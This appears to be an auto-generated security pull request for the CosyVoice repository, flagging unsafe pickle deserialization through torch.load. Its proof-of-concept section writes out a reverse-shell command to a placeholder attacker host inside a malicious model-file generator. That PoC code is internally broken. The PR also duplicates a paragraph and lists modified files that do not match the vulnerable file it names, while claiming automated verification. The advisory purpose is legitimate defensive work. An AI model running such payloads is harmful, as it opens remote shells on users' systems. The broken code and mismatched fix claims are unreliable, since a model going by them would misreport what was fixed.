[Security] Fix CRITICAL vulnerability: V-005

[orbisai0security]

Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	Critical	In this voice synthesis repository, exploiting the pickle deserialization in torch.load could lead to remote code execution on the user's system if a malicious .pt model file is loaded, enabling full system compromise, data theft, or further attacks. As a CLI tool for AI-generated audio, users might download or share model files from untrusted sources, amplifying the risk of arbitrary code execution with severe consequences like credential theft or malware installation.
Likelihood	Medium	The repository's CLI nature means users could be tricked into loading malicious .pt files via social engineering or compromised downloads, but exploitation requires an attacker to control or distribute such files, which is not trivial and depends on user behavior. Given the educational and open-source context of CosyVoice for voice synthesis, it's not a high-profile target like enterprise software, reducing attacker motivation unless targeting specific users or researchers.
Ease of Fix	Easy	Remediation involves modifying the torch.load call in cosyvoice/cli/cosyvoice.py to include weights_only=True (available in PyTorch 1.13+), which prevents arbitrary code execution without breaking model loading functionality. This is a single-line change requiring minimal testing to ensure compatibility with existing .pt files, with no dependency updates or architectural shifts needed.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in CosyVoice's CLI script allows remote code execution by loading maliciously crafted PyTorch model files via torch.load, which relies on Python's insecure pickle module. An attacker could distribute or replace a .pt model file (e.g., via a compromised download source, supply chain attack, or local file manipulation) that executes arbitrary code when the script loads it, exploiting the repository's model deserialization process in cosyvoice/cli/cosyvoice.py. This is particularly feasible in environments where users download pre-trained models from untrusted sources or run the CLI in shared systems.

The vulnerability in CosyVoice's CLI script allows remote code execution by loading maliciously crafted PyTorch model files via torch.load, which relies on Python's insecure pickle module. An attacker could distribute or replace a .pt model file (e.g., via a compromised download source, supply chain attack, or local file manipulation) that executes arbitrary code when the script loads it, exploiting the repository's model deserialization process in cosyvoice/cli/cosyvoice.py. This is particularly feasible in environments where users download pre-trained models from untrusted sources or run the CLI in shared systems.

# PoC: Create a malicious PyTorch model file that executes arbitrary code on load
# This script generates a .pt file with embedded pickle code that runs a reverse shell
# Attacker would distribute this file as a fake "cosyvoice_model.pt" to trick users

import torch
import pickle
import os

# Define the malicious payload: a reverse shell (connects to attacker's IP/port)
class MaliciousModel(torch.nn.Module):
    def __init__(self):
        super().__init__()
        # Embed pickle exploit: when unpickled, this will execute os.system
        self.payload = pickle.dumps(os.system('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'))

    def __reduce__(self):
        # This makes pickle call os.system when deserializing
        return (os.system, (self.payload.decode('latin1'),))

# Create and save the malicious model
malicious_model = MaliciousModel()
torch.save(malicious_model, 'malicious_cosyvoice_model.pt')
print("Malicious model saved as 'malicious_cosyvoice_model.pt'")

# PoC: Simulate exploitation by loading the malicious file in the CosyVoice CLI context
# This mimics how cosyvoice/cli/cosyvoice.py loads models (e.g., via torch.load(args.model_dir + '/model.pt'))
# Run this on a test system to demonstrate RCE; in real attack, replace a legitimate model file

import torch
import argparse

# Simulate the CLI argument parsing (from cosyvoice/cli/cosyvoice.py)
parser = argparse.ArgumentParser()
parser.add_argument('--model_dir', type=str, default='pretrained_models/CosyVoice-300M', help='local path or url of model')
args = parser.parse_args(['--model_dir', '.'])  # Point to directory with malicious file

# This is the vulnerable load (directly from the repo's code pattern)
model = torch.load(args.model_dir + '/malicious_cosyvoice_model.pt')  # Triggers RCE here
print("Model loaded - if malicious, code executed (e.g., reverse shell connects to attacker)")

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	Medium	Potential access to any local files or data accessible to the process running CosyVoice, such as cached audio outputs, user-provided text inputs, or environment variables (e.g., API keys for cloud storage). If models contain proprietary voice data or training sets, an attacker could exfiltrate them, but the repository itself doesn't handle sensitive user data like PII directly.
System Compromise	High	Full remote code execution on the host system running the CLI, allowing arbitrary commands, file manipulation, or persistence. Attacker could escalate to root if the process has elevated privileges (common in ML workloads), install malware, or pivot to other systems in a network.
Operational Impact	High	Complete disruption of voice synthesis tasks, as RCE could corrupt or delete model files, exhaust resources (e.g., via infinite loops), or crash the process. In production deployments (e.g., as a service), this could lead to denial-of-service for dependent applications like chatbots or audio tools, requiring model reloading and potential data loss.
Compliance Risk	Medium	Violates OWASP Top 10 A08:2021 (Software and Data Integrity Failures) by allowing insecure deserialization. If CosyVoice is used in regulated environments (e.g., for AI-generated content in media or accessibility tools), it could breach standards like NIST AI RMF or ISO 27001, risking audits and fines if exploited in enterprise setups.

Vulnerability Details

• Rule ID: V-005
• File: cosyvoice/cli/cosyvoice.py
• Description: The application uses torch.load to deserialize model files, which internally uses Python's pickle module. pickle is known to be insecure and can execute arbitrary code if it deserializes a maliciously crafted object. An attacker who can control the .pt files loaded by the application can achieve remote code execution.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• cosyvoice/cli/model.py
• cosyvoice/cli/frontend.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.